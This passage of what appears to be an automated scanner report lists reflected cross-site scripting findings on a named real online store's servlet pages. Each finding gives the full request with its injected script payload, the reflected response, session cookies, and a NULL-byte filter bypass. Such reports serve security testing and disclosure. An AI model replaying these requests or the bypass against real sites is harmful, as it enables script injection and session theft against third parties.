Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:37 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23316

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=.eb733"><img src=a onerror=alert(1)>38dcaff420b&nav_wt=header">
...[SNIP]...

2.986. http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/OrderItemDisplay

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload 65260--><img%20src%3da%20onerror%3dalert(1)>8f67b284d8d was submitted in the REST URL parameter 5. This input was echoed as 65260--><img src=a onerror=alert(1)>8f67b284d8d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/OrderItemDisplay65260--><img%20src%3da%20onerror%3dalert(1)>8f67b284d8d?langId=-1&storeId=10051&catalogId=10002&orderId=*&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:52 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 22208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
, and check the log file.

Exception Type: 0
Message Key: _ERR_CMD_CMD_NOT_FOUND
Message: CMN3101E The system is unavailable due to "CMN0203E".
System Message: Command not found: "OrderItemDisplay65260--><img src=a onerror=alert(1)>8f67b284d8d".
Originating Command:
Corrective Action:

//*-------------------------------------------------------------------
//*
-->
...[SNIP]...

2.987. http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/OrderItemDisplay

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6361e"><img%20src%3da%20onerror%3dalert(1)>274a936d33f was submitted in the langId parameter. This input was echoed as 6361e"><img src=a onerror=alert(1)>274a936d33f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/OrderItemDisplay?langId=-16361e"><img%20src%3da%20onerror%3dalert(1)>274a936d33f&storeId=10051&catalogId=10002&orderId=*&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:26 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20480

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-16361e"><img src=a onerror=alert(1)>274a936d33f&catalogId=10002&storeId=10051&nav_wt=header">
...[SNIP]...

2.988. http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/OrderItemDisplay

Issue detail

The value of the langId request parameter is copied into the HTML document as plain text between tags. The payload 3fe19<img%20src%3da%20onerror%3dalert(1)>f405c14ffc1 was submitted in the langId parameter. This input was echoed as 3fe19<img src=a onerror=alert(1)>f405c14ffc1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/OrderItemDisplay?langId=-13fe19<img%20src%3da%20onerror%3dalert(1)>f405c14ffc1&storeId=10051&catalogId=10002&orderId=*&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:27 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20453

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Generic Error</title>
   <link rel=stylesheet href="/wc
...[SNIP]...
<select name="currency">
               Exception:java.lang.NumberFormatException: For input string: "-13fe19<img src=a onerror=alert(1)>f405c14ffc1"

   </td>
...[SNIP]...

2.989. http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/OrderItemDisplay

Issue detail

The value of the langId request parameter is copied into an HTML comment. The payload 1cee7--><img%20src%3da%20onerror%3dalert(1)>4630125cb5b was submitted in the langId parameter. This input was echoed as 1cee7--><img src=a onerror=alert(1)>4630125cb5b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/OrderItemDisplay?langId=-11cee7--><img%20src%3da%20onerror%3dalert(1)>4630125cb5b&storeId=10051&catalogId=10002&orderId=*&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:45 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 21034

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-11cee7--><img src=a onerror=alert(1)>4630125cb5b&storeId=10051&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.990. http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/OrderItemDisplay

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c341a"><img%20src%3da%20onerror%3dalert(1)>f97c4983baa was submitted in the storeId parameter. This input was echoed as c341a"><img src=a onerror=alert(1)>f97c4983baa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/OrderItemDisplay?langId=-1&storeId=10051c341a"><img%20src%3da%20onerror%3dalert(1)>f97c4983baa&catalogId=10002&orderId=*&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:30 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23806

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="LogonForm?langId=-1&storeId=10051c341a"><img src=a onerror=alert(1)>f97c4983baa&catalogId=10002&nav_wt=header" style="color: #CCCC99">
...[SNIP]...

2.991. http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/OrderItemDisplay

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload 25fb7--><img%20src%3da%20onerror%3dalert(1)>8e64472d619 was submitted in the storeId parameter. This input was echoed as 25fb7--><img src=a onerror=alert(1)>8e64472d619 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/OrderItemDisplay?langId=-1&storeId=1005125fb7--><img%20src%3da%20onerror%3dalert(1)>8e64472d619&catalogId=10002&orderId=*&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:48 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 24108

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=1005125fb7--><img src=a onerror=alert(1)>8e64472d619&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.992. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload 71250--><img%20src%3da%20onerror%3dalert(1)>5ef707a6287 was submitted in the REST URL parameter 5. This input was echoed as 71250--><img src=a onerror=alert(1)>5ef707a6287 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay71250--><img%20src%3da%20onerror%3dalert(1)>5ef707a6287?catalogId=10002&storeId=10051&productId=120682&langId=-1&nav_wt=search HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:49 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23096

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
em, and check the log file.

Exception Type: 0
Message Key: _ERR_CMD_CMD_NOT_FOUND
Message: CMN3101E The system is unavailable due to "CMN0203E".
System Message: Command not found: "ProductDisplay71250--><img src=a onerror=alert(1)>5ef707a6287".
Originating Command:
Corrective Action:

//*-------------------------------------------------------------------
//*
-->
...[SNIP]...

2.993. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [catalogId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the catalogId request parameter is copied into the HTML document as plain text between tags. The payload 3d53e<x%20style%3dx%3aexpression(alert(1))>c34a5047d30 was submitted in the catalogId parameter. This input was echoed as 3d53e<x style=x:expression(alert(1))>c34a5047d30 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=100023d53e<x%20style%3dx%3aexpression(alert(1))>c34a5047d30&storeId=10051&productId=11737&langId=-1&mag=store&nav_wt=catbestsellers HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:23 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 1857

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">

...[SNIP]...
<td class="banner" valign="left" colspan="2">

javax.servlet.ServletException: The following error has occurred during processing: "For input string: "100023d53e<x style=x:expression(alert(1))>c34a5047d30"".

2.994. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the langId request parameter is copied into an HTML comment. The payload bca4c--><img%20src%3da%20onerror%3dalert(1)>57184c91961 was submitted in the langId parameter. This input was echoed as bca4c--><img src=a onerror=alert(1)>57184c91961 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=10002&storeId=10051&productId=11737&langId=-1bca4c--><img%20src%3da%20onerror%3dalert(1)>57184c91961&mag=store&nav_wt=catbestsellers HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:30 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20963

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
